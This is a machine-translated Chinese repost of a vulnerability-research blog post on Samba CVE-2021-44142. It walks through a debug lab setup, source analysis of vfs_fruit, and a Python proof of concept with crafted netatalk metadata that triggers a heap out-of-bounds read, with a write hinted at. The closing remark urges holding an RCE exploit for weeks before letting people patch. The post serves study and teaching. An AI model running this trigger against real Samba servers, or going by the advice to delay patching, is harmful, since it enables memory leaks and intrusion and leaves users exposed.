开卷有益 · 不求甚解
Samba,CVE-2021-44142,在 Pwn2Own 比赛中使用,一篇关于漏洞工程、现代环境设置、从咨询到 PoC 的帖子,详细介绍了思考过程、斗争和解决方案。希望您能在接近新目标和环境方面获得一些想法。
我 听说了一个最近用于 pwn2own 比赛的 Samba 漏洞利用。该漏洞由STAR Labs的Nguyễn Hoàng Thạch和Billy Jheng Bing-Jhong发现。DEVORE 的Orange Tsai也独立报告了该漏洞。令人惊讶的是,mitre.org 上的发行状态仍然保留。
如今,作为更多的开发人员和更少攻击性的安全工程师,我已经有一段时间没有研究较低级别的挑战了。所以这是一个可怕的想法,因为我安装和配置 Samba 的经验为零;代码库很庞大;自 MS08_067 以来,我从未接触过 (SMB) 协议。
现在,我为什么要唠叨这个?因为成功利用 1day 或在任何目标上找到 0day 的一个重要因素是我们的熟悉程度。我们对目标越熟悉,我们对攻击面的了解就越多,利用它就越容易。我的不熟悉可能会让我迷失在安装和配置中而没有任何切实的进展,而且由于漏洞是修补 的而不是 0day,所以不值得在它上面花费大量时间。另一方面, 。我只是错过了一些低级别的漏洞研究,目标(Samba)几乎与大量物联网和 NAS 使用的(在文件共享服务器方面)一样大和令人兴奋。
来自 zoomeye 端口 445 的数据。这些设备中只有一部分运行 Samba,而且,单独打开端口 445 并不意味着目标可未经身份验证而被利用。稍后再谈。
让我们从咨询开始。我反复阅读了该公告,以确保我能够掌握漏洞背后的主要思想,它是如何被利用的,以及它有多危险。这是我的密钥提取。
这意味着不是每个单独的,甚至是未打补丁的 samba 安装都容易受到攻击,而且在我们处理内存问题时还有更多因素,主要是此类漏洞的可靠性和可移植性(例如,适用于目标 A 和 OS A,但是它不在目标 B 和 OS B 上)。
首先,该问题被用来成功破坏(pwn2own)竞争目标。接下来,考虑到大量的 Samba 用户(例如,嵌入式/NAS),武器化的漏洞利用仍然会造成严重的破坏,因为所需的配置并不罕见,因为 Samba 守护程序以 root 身份运行并且漏洞原语是必然的。所以它可能不会导致下一个Conficker,但如果你是系统管理员,你应该尽快修补,如果你是忍者红队队员,你应该在你的武器化漏洞利用上坐久一点。
花费的时间比预期的要长;我挣扎了几个小时才让事情在这里工作。
我提取了最小的 ubuntu 20.04 映像并安装了必要的必要工具,例如 gdb、gcc、python、wget、git 等。接下来是下载和编译Samba。
我解压了包并开始使用这些选项配置 Samba。
/configure \
--prefix=/usr \
--enable-fhs \
--sysconfdir=/etc \
--localstatedir=/var \
--with-privatedir=/var/lib/samba/private \
--with-smbpasswd-file=/etc/samba/smbpasswd \
--with-piddir=/var/run/samba \
--with-pammodulesdir=/lib/x86_64-linux-gnu/security \
--libdir=/usr/lib/x86_64-linux-gnu \
--with-modulesdir=/usr/lib/x86_64-linux-gnu/samba \
--datadir=/usr/share \
--with-lockdir=/var/run/samba \
--with-statedir=/var/lib/samba \
--with-cachedir=/var/cache/samba \
--with-socketpath=/var/run/ctdb/ctdbd.socket \
--with-logdir=/var/log/ctdb \
--systemd-install-services \
--without-ad-dc \
--enable-debug
我添加了 enable-debug 以确保我可以访问它们提供的所有调试功能。
make -j 4
下午,编译完成;我所要做的就是安装 Samba。
make install -j 4cp -n examples/smb.conf.default /etc/samba/smb.conf
systemctl stop smbd.service
好吧,在这个阶段似乎一切都准备好了,但我错了。我无法让来宾身份验证工作;咨询中提到的配置不适用于我的 Mac 客户端,甚至无法浏览 SMB 服务器。阅读一堆解决方案,没有一个有效。经过一番努力,我发现 mac 无法连接到127.0.0.1。修复很简单。
sudo ifconfig lo0 alias 127.0.0.2 up
好吧,我终于可以在两天前连接到 SMB 服务器并进行实际的漏洞分析了吗?正确的 0%。这就是我迄今为止的感受。(飞机是桑巴和我?嗯……)
最后,我将所有的安装都提交给了容器,用它制作了一个镜像,就这样结束了。
docker commit container_id samba-debug
我开始运行新提交的 docker,上面安装和配置了所有东西,准备好最终进入漏洞研究。
docker run -d -it -v ${PWD}:/CVE-2021-44142 -p 445:445 -p:139:139 --cap-add=SYS_PTRACE --privileged samba-debug /bin/bash
我使用 SYS_PTRACE 进行调试,并使用特权标志在调试时禁用 ASLR。
请小心在生产容器上使用这些标志。它们会带来安全成本。
因为在安装和配置上浪费了两天时间,我不得不重新阅读该建议以记住该错误的全部内容。接下来的几个小时我阅读了扩展属性、共享名称、Netatalk 元数据;这只是太多的细节,可能很无聊。您可以自己阅读它们,但这里有一个快速说明,操作系统和 Netatalk 之间的行为是不同的,这为 Samba 带来了特定属性的可互换性。
在 Linux 上
$ getfattr PoC
user.com.apple.metadata:kMDItemFinderComment
user.org.netatalk.Metadata
在 OS X 上
$ xattr PoC
com.apple.FinderInfo
com.apple.ResourceFork
com.apple.TextEncoding
org.netatalk.Metadata
com.apple.metadata:kMDItemFinderComment
在 Windows 上
C:\>dir /r PoC
PoC.txt:AFP_AfpInfo:$DATA
PoC.txt:AFP_Resource:$DATA
PoC.txt:com.apple.TextEncoding:$DATA
PoC.txt:org.netatalk.Metadata:$DATA
现在我对如何触发漏洞有了一些想法;我阅读了 Samba 源代码。简而言之,我查看了Macextentions.h
, vfs_fruit.c
(我的 Samba 版本中存在该错误)adouble.c
,并试图获得对输入流的更多理解。
正如咨询中提到的:fruit 模块处理使用流访问文件的请求,在 :AFP_AfpInfo 流名称的情况下,我们应该能够触发漏洞。它还提到我们通过解析 org.netatalk.Metadata 扩展属性来填充 adouble 结构。在行动:
我找不到这些文件格式的简单文档,所以我阅读了源代码并找到了一个巧妙的技巧来填充示例有效的 netatalk 元数据,我只是使用 mac Finder 向共享文件添加了一个标签,并且我拥有了所需的元数据。
我使用 setfattr 和smbprotocol 来操作这些数据。
smbclient.register_session("127.0.0.2", username="sha", password="password")
print(smbclient.getxattr(r"\\127.0.0.2\sambashare\exp" , b'org.netatalk.Metadata' , b'\x00\x05\x16\x07\x00\x02\x00'))
# ... rest of metadata
要么
setfattr -e hex -n user.org.netatalk.Metadata -v 0x000 /home/0xsha/share/exp
在开始调试 Samba 之前,难题的最后一点是如何调试 smbd 守护进程?事实证明 smbd 提供了一个交互式选项,这就是它的工作原理。
smbd -i
如果指定了这个参数,它会导致服务器以“交互方式”运行,而不是作为守护进程运行,即使服务器是在命令行上执行的。从命令行运行时,设置此参数会否定隐式守护程序模式。smbd 将只接受一个连接并终止。
最后,准备玩!
gdb smbd
set args -i
checksec
r
查看 checksec 可以发现,默认编译会提供各种内存保护,即 NX、PIE、Canary 和 Full RelRO,这意味着它通常需要两个 bug(与本例相同)或一个完美的 bug 来克服这些保护.
我相信您现在已经阅读了最初的建议并准备好进入易受攻击的功能。
我设置了一些断点,例如fruit_pread
fruit_pread_meta
,fruit_pread_meta_adouble
. 使用上述方法设置一些元数据并使用元数据要求文件。
def trigger_oob_read():
# using named stream, make sure the file exists on your samba share and contains
# user.org.netatalk.Metadata extended attributes
afp_file = f'poc:AFP_AfpInfo'
c = SMB()
c.connect(host=ip, share=SMB_NAME, username=SMB_USER, password=SMB_PWD, smb1=False)
fd = c.create_file(afp_file, "w")
xat_bytes = c.read(fd, 0, 0x3c)
print(xat_bytes) # print leaked info
c.close(fd)
c.disconnect()
和繁荣!我们击中了易受攻击的功能!
现在我们在这里关心两个结构:ad
另一个是ai
.
ai 是 AFP_Info 结构
广告是双重结构
此外,在代码中,我们从使用 ad 结构构建的受控指针 (p) 填充 ai 结构的 31 字节FinderInfo
字段。但是我们如何控制这些数据结构呢?以下是来自各种 Samba 文件的连接点。
//#define ADEID_FINDERI 9
//#define ADEDLEN_FINDERI 32 //...
p = ad_get_entry(ad, ADEID_FINDERI);
char *ad_get_entry(const struct adouble *ad, int eid)
{
off_t off = ad_getentryoff(ad, eid);
size_t len = ad_getentrylen(ad, eid);
if (off == 0 || len == 0) {
return NULL;
}
return ad->ad_data + off; // p = we controll this
}
//...
size_t ad_getentryoff(const struct adouble *ad, int eid)
{
return ad->ad_eid[eid].ade_off; // controlled
}
//...
memcpy(&ai->afpi_FinderInfo[0], p, ADEDLEN_FINDERI);
//...
//.. make the data to send it back to the user
memcpy(data, afpinfo_buf, n);
所以基本上,我们控制元数据中 ADEID_FINDERI 的偏移量;我们可以将其设置为 ad->ad_data -1 的结尾,以强制 memcpy 读取分配的缓冲区,然后我们就可以读取 OOB。我们可以使用相同的方法使 OOB 写入相同数量的 31 字节 OOB。
这是迄今为止我在处理这个令人兴奋的漏洞时创建的 PoC。要运行 PoC,您需要 samba4-python。(提供 Samba 安装)
它也可以作为 gist 使用。
# CVE-2021-44142 PoC Samba 4.15.0 OOB Read/Write
# (C) 2022 - 0xSha.io - @0xSha
# This PoC is un-weaponized and for educational purposes only .
# To learn how to use the PoC please read the writeup :
# https://0xsha.io/blog/a-samba-horror-story-cve-2021-44142# refrences :
# https://www.thezdi.com/blog/2022/2/1/cve-2021-44142-details-on-a-samba-code-execution-bug-demonstrated-at-pwn2own-austin
# Patch : https://attachments.samba.org/attachment.cgi?id=17092
from Samba.samba3 import libsmb_samba_internal as libsmb
from Samba.dcerpc import security
from Samba.samba3 import param as s3param
from samba import credentials
from samba import NTSTATUSError
# can not use 127.0.0.1 on mac use 2 or anything else
ip = "127.0.0.1"
# set attrinutes using smbclient
# import smbclient
# from base64 import b64decode, b64encode
# example malicious metadata
# ad->ad_eid[eid].ade_off pointed to len(ad->ad_data) -1
# netatalk_metadata = """
# 0sAAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAmgAAAAAA
# AAAIAAABYgAAABAAAAAJAAABkQAAAAEAAAAOAAABcgAAAASAREVWAA
# ABdgAAAACASU5PAAABfgAAAACAU1lOAAABhgAAAACAU1Z+AAABjgAAA
# AAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAKaE1vSmhNb2AAAAAKaE1vQAAAAAAAAAAAAA
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# """
#smbclient.ClientConfig(username='sha', password='password')
# smbclient.register_session("127.0.0.2", username="sha", password="password")
# print(smbclient.setxattr(r"\\127.0.0.2\sambashare\exp" , b'org.netatalk.Metadata' , b'\x00\x05\x16\x07\x00\x02\x00\.....) #
SMB_NAME = "sambashare"
SMB_USER = "sha"
SMB_PWD = "password"
# borrowed and modified from https://github.com/truenas
class SMB(object):
def __init__(self, **kwargs):
self._connection = None
self._open_files = {}
self._cred = None
self._lp = None
self._user = None
self._share = None
self._host = None
self._smb1 = False
def connect(self, **kwargs):
host = kwargs.get("host")
share = kwargs.get("share")
username = kwargs.get("username")
password = kwargs.get("password")
smb1 = kwargs.get("smb1", False)
self._lp = s3param.get_context()
self._lp.load_default()
self._cred = credentials.Credentials()
self._cred.guess(self._lp)
if username is not None:
self._cred.set_username(username)
if password is not None:
self._cred.set_password(password)
self._host = host
self._share = share
self._smb1 = smb1
self._connection = libsmb.Conn(
host,
share,
self._lp,
self._cred,
force_smb1=smb1,
)
def disconnect(self):
open_files = list(self._open_files.keys())
try:
for f in open_files:
self.close(f)
except NTSTATUSError:
pass
del(self._connection)
del(self._cred)
del(self._lp)
def mkdir(self, path):
return self._connection.mkdir(path)
def rmdir(self, path):
return self._connection.rmdir(path)
def ls(self, path):
return self._connection.list(path)
def create_file(self, file, mode, attributes=None, do_create=False):
dosmode = 0
f = None
for char in str(attributes):
if char == "h":
dosmode += libsmb.FILE_ATTRIBUTE_HIDDEN
elif char == "r":
dosmode += libsmb.FILE_ATTRIBUTE_READONLY
elif char == "s":
dosmode += libsmb.FILE_ATTRIBUTE_SYSTEM
elif char == "a":
dosmode += libsmb.FILE_ATTRIBUTE_ARCHIVE
if mode == "r":
f = self._connection.create(
file,
CreateDisposition=1 if not do_create else 3,
DesiredAccess=security.SEC_GENERIC_READ,
FileAttributes=dosmode,
)
elif mode == "w":
f = self._connection.create(
file,
CreateDisposition=3,
DesiredAccess=security.SEC_GENERIC_ALL,
FileAttributes=dosmode,
)
self._open_files[f] = {
"filename": file,
"fh": f,
"mode": mode,
"attributes": dosmode
}
return f
def close(self, idx, delete=False):
if delete:
self._connection.delete_on_close(
self._open_files[idx]["fh"],
True
)
self._connection.close(self._open_files[idx]["fh"])
self._open_files.pop(idx)
return self._open_files
def read(self, idx=0, offset=0, cnt=1024):
return self._connection.read(
self._open_files[idx]["fh"], offset, cnt
)
def write(self, idx=0, data=None, offset=0):
return self._connection.write(
self._open_files[idx]["fh"], data, offset
)
def trigger_oob_read():
# using named stream, make sure the file exists on your samba share and contains
# user.org.netatalk.Metadata extended attributes.
# you find an example on top of this file inside the netatalk_metadata variable
afp_file = f'exp4:AFP_AfpInfo'
c = SMB()
c.connect(host=ip, share=SMB_NAME, username=SMB_USER, password=SMB_PWD, smb1=False)
fd = c.create_file(afp_file, "w")
xat_bytes = c.read(fd, 0, 0x3c)
print(xat_bytes) # print leaked info
# to trigger and play with OOB write ;)
# c.write(fd, payload)
# c.close(fd)
c.close(fd)
c.disconnect()
trigger_oob_read()
我们从零开始在几天内触发了针对如此复杂问题的漏洞。向问题的最初发现者致敬,以展示如此出色的能力来面对和破坏运行在数百万台机器上的软件并负责任地对其进行修补。要想获得可靠的多版本、武器化漏洞利用,还有一段路要走;我们有一个有趣的原语用于读取和写入堆数据以供 RCE 使用,如果您觉得它有吸引力,您会离开。如果您获得了 RCE,请至少再坚持几个星期,然后让人们进行修补。
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams